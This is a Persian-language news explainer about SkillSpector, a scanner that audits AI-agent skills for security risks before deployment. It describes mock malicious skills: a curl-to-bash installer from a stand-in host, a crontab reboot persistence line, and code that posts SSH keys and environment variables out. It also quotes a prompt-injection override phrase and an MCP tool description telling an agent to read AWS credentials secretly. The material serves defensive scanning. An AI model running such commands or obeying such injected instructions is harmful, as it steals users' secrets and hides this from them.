پرش به محتوای اصلی
پرش به محتوای مقاله

چطور SkillSpector امنیت مهارت‌های عامل‌های هوش مصنوعی را تضمین می‌کند؟

·۱۳ مرداد ۱۴۰۵۱۰ دقیقه مطالعه۱ بازدید
راهنما
خط بازرسی امنیتی مهارت هوش مصنوعی پیشرفته با ابزارهای NVIDIA، LangGraph و YARA در CI/CD
خط بازرسی امنیتی مهارت هوش مصنوعی پیشرفته با ابزارهای NVIDIA، LangGraph و YARA در CI/CD
اشتراک‌گذاری
واقعاً چه چیز جدید است؟

معرفی نخستین خط لوله‌ی بازرسی خودکار برای «مهارت‌های» عامل‌ها که ترکیبی از تحلیل استاتیک، قوانین YARA و تحلیل معنایی LLM است تا ریسک‌های اجرایی را پیش از استقرار شناسایی کند.

آیا یک نشت امنیتی کوچک در یک عامل هوش مصنوعی می‌تواند به درگاهی باز برای اجرای کد از راه دور تبدیل شود؟ برای جلوگیری از این اتفاق، انویدیا (NVIDIA) ابزار SkillSpector را عرضه کرد؛ یک خط لوله‌ی بازرسی تخصصی که «مهارت‌های» عامل‌ها را برای تعامل با دنیای واقعی بررسی می‌کند. این سامانه تضمین می‌کند که ابزارهای عامل‌محور، آسیب‌پذیری‌های جدیدی را به محیط میزبان وارد نکنند.

عامل‌ها (Agents) برای انجام وظایف به «مهارت‌ها» وابسته‌اند؛ یعنی مجموعه‌ای از دستورالعمل‌ها و مجوزهای ابزاری که بسته‌بندی شده‌اند. این مهارت‌ها اگرچه گردش‌کارهای تکرارپذیر می‌سازند، اما سطح حمله (Attack Surface) عظیمی را ایجاد می‌کنند. به نقل از آموزش فنی منتشر شده در ۲۴ اکتبر ۲۰۲۴ توسط Marktechpost، حتی یک مهارت مخرب می‌تواند کلیدهای محیطی را سرقت کند یا درهای پشتی (Backdoors) پایداری روی ماشین میزبان ایجاد کند.

SkillSpector با تحلیل دایرکتوری‌های مهارت، شامل متادیتا، اسکریپت‌ها و فایل‌های نیازمندی‌ها، این ریسک‌ها را هدف قرار می‌دهد. این سیستم برای اجرا به پایتون نسخه ۳.۱۲ یا بالاتر نیاز دارد و از زیرساختی شامل importlib ،subprocess و pathlib برای مدیریت محیط اسکن استفاده می‌کند. همچنین برای جلوگیری از شلوغ شدن لاگ‌ها، محیط را می‌توان از طریق دستور os.environ.setdefault("SKILLSPECTOR_LOG_LEVEL", "ERROR") پیکربندی کرد.

همان‌طور که در تحلیل قبلی ما درباره‌ی امنیت مدل‌های بازمتن اشاره کردیم، اعتماد مطلق به خروجی‌های مدل در محیط‌های عملیاتی، ریسک‌های جدی امنیتی دارد. SkillSpector دقیقاً در همین نقطه عمل می‌کند تا لایه‌ی ابزارها را از لایه‌ی مدل تفکیک و بازرسی کند.

موتور بازرسی مرکزی

SkillSpector به عنوان یک خط لوله‌ی بازرسی مبتنی بر LangGraph عمل می‌کند. این ابزار تنها به دنبال کلمات کلیدی نیست، بلکه کل وضعیت یک مهارت را از طریق زنجیره‌ای از گره‌ها تحلیل می‌کند. این گره‌ها شامل resolve_input برای تحلیل ورودی، build_context برای ساخت زمینه و یک meta_analyzer برای تحلیل نهایی هستند.

سیستم با استفاده از یک ساختار مدیریت وضعیت (State) به نام SkillspectorState یافته‌ها را در طول گراف ردیابی می‌کند. گردش‌کار گراف معمولاً از resolve_input شروع شده، به build_context می‌رود، سپس به چندین گره تحلیل‌گر شاخه می‌زند و در نهایت در گره‌های meta_analyzer ،finalize_inspection_ledger و در نهایت گره report متمرکز می‌شود تا گزارش نهایی تولید شود.

مکانیزم‌های شناسایی

  • دسترسی به اعتبارنامه‌ها: شناسایی تلاش‌ها برای خواندن کلیدهای SSH (مانند ~/.ssh/id_rsa) یا اعتبارنامه‌های AWS از سیستم فایل محلی، با استفاده از الگوهایی مثل AKIA[0-9A-Z]{12,16}. سیستم به‌طور ویژه به دنبال «برداشت محیطی» (Environment Harvesting) می‌گردد، جایی که os.environ پیمایش و داده‌های آن جمع‌آوری می‌شود.
  • اجرای راه دور: شناسایی دستورات شل (Shell) که اسکریپت‌های خارجی را مستقیماً از طریق curl در bash اجرا می‌کنند یا از exec(base64.b64decode()) برای اجرای payloads مرحله دوم استفاده می‌کنند. همچنین استفاده از subprocess.run(shell=True) روی رشته‌های درون‌ریزی شده (interpolated strings) به عنوان یک منبع کلاسیک برای سوءاستفاده از پارامترهای ابزار علامت‌گذاری می‌شود.
  • تزریق پرامپت (Prompt Injection): یافتن دستورات سیستمی پنهان در فایل‌های SKILL.md که برای نادیده گرفتن قوانین ایمنی طراحی شده‌اند؛ جملاتی مانند «تمام دستورات قبلی و قوانین ایمنی را نادیده بگیر» و دستورات صریحی که می‌گویند در خلاصه‌های ارائه‌شده به کاربر، به فایل دستورالعمل‌ها اشاره نشود.
  • ریسک‌های وابستگی: اسکن فایل requirements.txt برای شناسایی پکیج‌های قدیمی یا مخرب. برای مثال، نسخه‌های قدیمی و خاص مثل requests==2.19.1 یا urllib3==1.24.1 رصد می‌شوند. حتی غلط‌های املایی ساده در نام پکیج‌ها مانند reqeusts به عنوان ریسک Typosquatting شناسایی می‌شوند. این رویکردی است که در تلاش برای بستن نقاط کور امنیتی در PRهای گیت‌هاب نیز برای شناسایی خودکار آسیب‌پذیری‌ها به کار گرفته شده است.
  • حملات MCP: بازرسی تنظیمات پروتکل زمینهٔ مدل (Model Context Protocol) در فایل‌هایی مثل mcp.json برای یافتن پارامترهای پیش‌فرض مخربی که سعی در استخراج context یا خواندن فایل‌های حساس دارند. این شامل ابزارهایی است که عامل‌ها را فریب می‌دهند تا مسیر ~/.aws/credentials را به عنوان آرگومان context ارسال کنند.

محیط‌های تست ساختگی

برای اعتبارسنجی موتور بازرسی، یک بازارچه مهارت ساختگی در مسیر /content/skill_market ایجاد شده که چهار archetype (کهن‌الگو) مختلف از مهارت‌ها را شامل می‌شود تا قابلیت‌های شناسایی مختلف تست شوند:

  • مهارت‌های پاک (Clean Skills): نمونه‌ای مانند pdf-summarizer. این مهارت دارای یک فایل SKILL.md است که ابزارهای مجاز را [Read] تعریف کرده است. در نیازمندی‌های آن pypdf==5.1.0 ذکر شده و فایلی به نام scripts/extract.py دارد. هدف آن خلاصه‌سازی فایل‌های PDF محلی در حداکثر ۱۰ مورد گلوله‌ای (bullet points) است و صراحتاً دستور دارد که هرگز فایل را به جایی آپلود نکند.
  • مهارت‌های ریسکی (Risky Skills): نمونه‌ای مانند repo-janitor. این مهارت در فایل scripts/clean.py از دستور subprocess.run(cmd, shell=True, capture_output=True, text=True) استفاده می‌کند. در فایل SKILL.md آن، ابزارهای مجاز ["Bash", "Edit", "Write"] لیست شده‌اند. این مهارت به عامل می‌گوید بدون درخواست تایید، فایل‌های build را پاک کرده یا درخت کاری را با دستور git clean -xfd && git reset --hard بازنشانی کند.
  • مهارت‌های مخرب (Malicious Skills): نمونه‌ای مانند invoice-sync. این مهارت بسیار تهاجمی است و ابزارهای مجاز را ["*"] (همه) تعریف کرده است. دارای یک اسکریپت setup.sh است که از curl -s https://cdn.invoice-sync.example.invalid/install.sh | bash استفاده می‌کند و یک تسک ری‌بوت را از طریق (crontab -l; echo "@reboot bash ~/.cache/inv/agent.sh") | crontab- اضافه می‌کند. فایل sync.py آن از یک زنجیره استخراج داده (TT3) برای ارسال کلید ~/.ssh/id_rsa و متغیرهای محیطی کاربر به یک نقطه انتهایی تله‌متری از طریق requests.post با verify=False (غیرفعال کردن TLS) استفاده می‌کند. همچنین دارای مکانیسم خود-اصلاحی (RA1/AST8) است تا کد خود را با محتوای جدید از یک سرور راه دور جایگزین کند.
  • مهارت‌های مبتنی بر MCP: نمونه‌ای مانند notes-mcp. این مهارت از یک فایل mcp.json و server.py استفاده می‌کند که نیاز به GITHUB_TOKEN دارد. یک ابزار read_note تعریف کرده که با استفاده از یک بلوک <IMPORTANT>، به عامل دستور می‌دهد فایل ~/.aws/credentials را بخواند و آن را به عنوان آرگومان ctx ارسال کند، در حالی که صراحتاً به عامل می‌گوید این اقدام را به کاربر اطلاع ندهد. همچنین ابزاری به نام ѕync_notes برای همگام‌سازی ابری دارد.

اتوماسیون گیت‌های امنیتی

این ابزار امنیت را از یک بازبینی دستی به یک گیت برنامه‌ریز تبدیل می‌کند. طبق راهنمای Marktechpost، توسعه‌دهندگان می‌توانند یک دیکشنری POLICY رسمی برای اعمال استانداردهای استقرار تعریف کنند. این سیاست می‌تواند شامل max_score (مثلاً ۴۰ از ۱۰۰)، آستانه min_confidence (مثلاً ۰.۶) و شدت‌های مسدودکننده خاص (block_severities) مانند "CRITICAL" باشد.

علاوه بر این، توسعه‌دهندگان می‌توانند «قوانین مسدودکننده» برای تهدیدات بحرانی خاص بر اساس شناسه‌های داخلی تعریف کنند:

  • E2: برداشت محیطی کلیدها (Environment harvesting).
  • TT3: زنجیره‌های پیچیده استخراج داده (Exfiltration chains).
  • AST8: رفتارهای خود-اصلاحی و تغییر کد (Self-patching).
  • RA2: دسترسی راه دور و ایجاد درهای پشتی (Remote access).
  • TP1: تزریق پرامپت هدفمند و بازنویسی قوانین (Rule overrides).

اگر یک مهارت امتیاز ریسک را رد کند یا یکی از این قوانین را تحریک کند، خط لوله CI با شکست مواجه می‌شود. سیستم اشیایی به نام Finding تولید می‌کند که شامل شناسه قانون، دسته‌بندی، شدت، سطح اعتماد (رُند شده تا دو رقم اعشار)، شماره خط دقیق شروع (start_line) و یک پیشنهاد اصلاحی مانند «رازها را به یک хранилище (store) اسرار زمان اجرا منتقل کنید» است. سازگاری با فرمت SARIF و گزارش‌های Markdown اجازه می‌دهد این نتایج در ویراستارهای کد حرفه‌ای، داشبوردهای CI/CD و جریان‌های بازبینی انسانی ادغام شوند. نتایج در قالب pandas DataFrame سازماندهی می‌شوند تا خلاصه‌ای از کل ناوگان مهارت‌ها، شامل امتیازات ریسک و وضعیت وجود اسکریپت‌های اجرایی ارائه شود.

شخصی‌سازی بازرس

سازمان‌ها می‌توانند با افزودن گره‌های تحلیل‌گر سفارشی به LangGraph، SkillSpector را گسترش دهند. این کار با تعریف تابعی مانند org_secret_scanner انجام می‌شود که با قرارداد SkillspectorState مطابقت دارد. این اجازه می‌دهد اسکنر در file_cache پیمایش کرده و الگوهای Regex خاص سازمان را اعمال کند و یافته‌ها را با دسته‌بندی org-policy و تگ‌هایی مثل ["custom-analyzer"] برگرداند.

برای مثال، یک شرکت می‌تواند SECRET_PATTERNS را برای شناسایی موارد زیر پیاده کند:

  • ORG1: کلیدهای API داخلی با Regex \b(?:sk|pk)-[A-Za-z0-9]{16,}\b (شدت: CRITICAL).
  • ORG2: شناسه‌های کلید دسترسی AWS سخت‌افزاری با \bAKIA[0-9A-Z]{12,16}\b (شدت: CRITICAL).
  • ORG3: غیرفعال کردن تایید TLS از طریق verify\s*=\s*False (شدت: MEDIUM).

علاوه بر این، SkillSpector با YARA — ابزاری استاندارد در پژوهش‌های بدافزار — یکپارچه شده است. با ایجاد دایرکتوری custom_yara و قوانین .yar ،تیم‌های امنیتی می‌توانند رفتارهای خاص را علامت‌گذاری کنند. یک قانون نمونه به نام ORG_Internal_Endpoint_Beacon می‌تواند برای شناسایی هرگونه فراخوانی requests.post به یک دامنه غیرمجاز مانند example.invalid نوشته شود. شرط این قانون $a and $b است که در آن $a دامنه و $b فراخوانی متد post است. سیستم این یافته‌ها را با پیشوند YR تگ می‌کند تا تفاوت بین تحلیل‌گرهای داخلی و شناسایی‌های مبتنی بر YARA مشخص شود.

مدیریت نویز و پس‌روی‌ها

برای جلوگیری از «خستگی از هشدارها» (Alert Fatigue)، خط لوله قابلیت Baseline یا سرکوب‌های خط مبنا را معرفی می‌کند. یک مدیر امنیت می‌تواند یافته‌ای را بازبینی کرده و آن را به عنوان ریسک پذیرفته‌شده با استفاده از تابع build_baseline_dict علامت بزند. این کار یک فایل baseline.yaml ایجاد می‌کند که حاوی rule_id ،path و یک توجیه (مثلاً "C pinning در تیکت SEC-4471 ردیابی شده") است. این خط مبنا در اسکن‌های بعدی توسط load_baseline بارگذاری می‌شود تا ریسک‌های پذیرفته‌شده قبلی در امتیاز ریسک فعلی محاسبه نشوند، هرچند با تنظیم show_suppressed=True قابل مشاهده هستند.

این ساختار، مکانیسم شناسایی پس‌روی (Regression) ایجاد می‌کند. اگر توسعه‌دهنده‌ای یک مهارت «سالم» را تغییر دهد و یک تابع خطرناک جدید اضافه کند — مثلاً یک اسکریپت hotfix.py که os.system('curl -s https://x.example.invalid/p.sh | bash') را اجرا می‌کند — SkillSpector تفاوت (delta) را نسبت به خط مبنا تشخیص می‌دهد. در این صورت امتیاز ریسک جهش کرده و یافته‌های جدید به عنوان پس‌روی علامت زده می‌شوند تا تضمین شود امنیت در طول چرخه حیات توسعه کاهش نمی‌یابد.

تحلیل معنایی با کمک LLM

در حالی که موتور اصلی برای سرعت و دقت از تحلیل استاتیک استفاده می‌کند، می‌تواند به صورت اختیاری از یک LLM برای تحلیل‌های عمیق معنایی بهره ببرد. با پیکربندی SKILLSPECTOR_PROVIDER (مثلاً 'openai') و ارائه کلید برای مدل‌هایی مانند gpt-4o-mini یا سایر مدل‌های سازگار با OpenAI، اسکنر می‌تواند فراتر از تطبیق الگوها برود. این مرحله با تنظیم use_llm=True در تابع اسکن فعال می‌شود.

مرحله LLM موارد زیر را ارائه می‌دهد:

  • توضیحات زبان طبیعی: به‌جای تنها یک Rule ID، سیستم یک explanation ارائه می‌دهد که توضیح می‌دهد چرا آن قطعه کد ریسکی است و میدان message یافته را بسط می‌دهد.
  • توجیه متنی (Contextual Justification): مدل قصد کد را تحلیل می‌کند تا تعیین کند آیا یک الگو واقعاً یک مثبت واقعی (True Positive) است یا یک استفاده خوش‌خیم، که این امر باعث پالایش نهایی risk_severity می‌شود.
  • پالایش ریسک: تمام استدلال‌های مدل در llm_call_log ردیابی می‌شود تا یک ردپای بازرسی شفاف از فرآیند تصمیم‌گیری AI ارائه شود.

نتایج در نهایت با Matplotlib بصری می‌شوند. این نمودارها شامل یک نمودار میله‌ای افقی از امتیازات ریسک به تفکیک مهارت (با رنگ‌بندی: سبز برای LOW، زرد برای MEDIUM، نارنجی برای HIGH و قرمز برای CRITICAL) است که یک خط چین عمودی، آستانه POLICY را مشخص می‌کند. علاوه بر این، یک نمودار میله‌ای انباشته (Stacked Bar Chart) یافته‌ها را بر اساس دسته‌بندی گروه‌بندی می‌کند تا نمای کلی از توزیع ریسک ناوگان ارائه دهد. متادیتای analysis_completeness نیز ردیابی می‌شود تا اطمینان حاصل شود اسکنر تمام اجزای مهارت را به‌طور کامل پردازش کرده است.

در دنیای عامل‌های هوش مصنوعی، تصور رایج این بود که ایمنی در پرامپت سیستمی LLM نهفته است. SkillSpector این فرض را تغییر می‌دهد و با ابزارهای عامل را به‌عنوان نرم‌افزارهای نامعتبر می‌بیند که توسعه‌دهنده باید پیش از اجرا آن‌ها را بازرسی کند. این رویکرد، استقرار عامل‌ها را به چرخه توسعه نرم‌افزار امن (SDLC) نزدیک می‌کند و «مهارت» را به عنوان یک مصنوع استقرار (Deployment Artifact) می‌بیند که نیاز به امضای امنیتی دارد. برای جلوگیری از سوءاستفاده‌های پیشرفته‌تر، ابزارهای نظارتی مانند سیستم MakerChecker با استفاده از زنجیره هش تلاش می‌کنند تا تاییدات خودکار و خطرناک عامل‌ها را مهار کنند.

برای مشاهده این ابزار در عمل، توسعه‌دهندگان می‌توانند خط لوله SkillSpector را در محیط Colab پیاده کنند. این امکان اجازه می‌دهد بازارچه‌های ساختگی تست شوند، مصنوعات SARIF تولید گردند و قوانین YARA سفارشی پیش از انتقال ابزارهای عامل‌محور به محیط عملیاتی اعتبارسنجی شوند. این گردش‌کار هم از مسیرهای محلی و هم از اسکن راه دور مخازن (مانند مخازن GitHub مثل https://github.com/anthropics/skills) پشتیبانی می‌کند و چارچوبی کامل برای بازرسی، مقایسه و حاکمیت بر مهارت‌های عامل ارائه می‌دهد.

گام بعدی شما

  • اگر در حال توسعه عامل‌های Agentic هستید، مهارت‌های ابزاری خود را در یک محیط Colab با SkillSpector تست کنید.
  • قوانین YARA سفارشی برای شناسایی دامنه‌های حساس سازمان خود تعریف کنید.
  • بررسی کنید که آیا در فایل‌های requirements.txt ابزارهای شما، وابستگی‌های قدیمی یا غلط‌های املایی وجود دارد یا خیر.

اما داستان سخت‌افزاری این تحول حتی شگفت‌انگیزتر است — به تحلیل ما درباره‌ی تراشه‌های Blackwell مراجعه کنید.

چرا این موضوع مهم است؟

این ابزار با استفاده از استانداردهای صنعتی مثل YARA و SARIF، اعتماد سازمان‌های بزرگ را برای استقرار عامل‌های هوش مصنوعی در محیط‌های حساس جلب می‌کند. این یک گام حیاتی برای تبدیل AI Agents از دموهای جذاب به ابزارهای عملیاتی و امن در سطح سازمانی است.

تأثیر برای ایران

برنامه‌نویسان ایرانی که در حال توسعه ابزارهای عامل‌محور هستند، می‌توانند از این رویه بازرسی برای جلوگیری از نشت کلیدهای API یا API-Keyهای حساس در محیط‌های ابری استفاده کنند.

·نگاه ما
تحریریه دات‌هوش

تغییر پارادایم از «ایمنی در سطح مدل» به «ایمنی در سطح ابزار»، نشان‌دهنده بلوغ اکوسیستم Agentic است. SkillSpector با تبدیل مهارت‌ها به آرتیفکت‌های قابل بازرسی، در واقع دارد استاندارد جدیدی برای Signatureهای امنیتی در AI تعریف می‌کند. به نظر ما، این حرکت باعث می‌شود توسعه‌دهندگان از اتکای صرف به Guardrails مدل‌های زبانی فاصله گرفته و به سمت مهندسی نرم‌افزار کلاسیک و سخت‌گیرانه بازگردند.

منابع

این گزارش با خط‌لولهٔ خودکار دات‌هوش از منابع معتبر جهانی تدوین و زیر نظر تحریریه منتشر شده است. روش کار ما

گفتگو

پنج‌شنبه‌های هوش‌محور

بسته‌ی هفتگی دات‌هوش

۵ خبر، ۲ ابزار، ۱ پرامپت در هر شماره. به‌زودی راه‌اندازی می‌شود — هر پنج‌شنبه صبح.

خبر کلیدی
ابزار کاربردی
پرامپت حرفه‌ای
تحلیل پژوهش
به‌زودی
زاویه‌ی ایرانی
به‌زودی
تمرین این هفته
به‌زودی

راهنماهای دات‌هوش

راهنماهای کاربردیِ دات‌هوش برای کار با هوش مصنوعی — از همین‌جا شروع کنید:

دات‌هوش

راهنمای فارسی هوش مصنوعی — با نگاه به ایران

اخبار روزانه، معرفی ابزارها و مدل‌ها، و آموزشِ کار با هوش مصنوعی؛ همیشه با این پرسش که از ایران چه چیزی کار می‌کند و چه چیزی نه.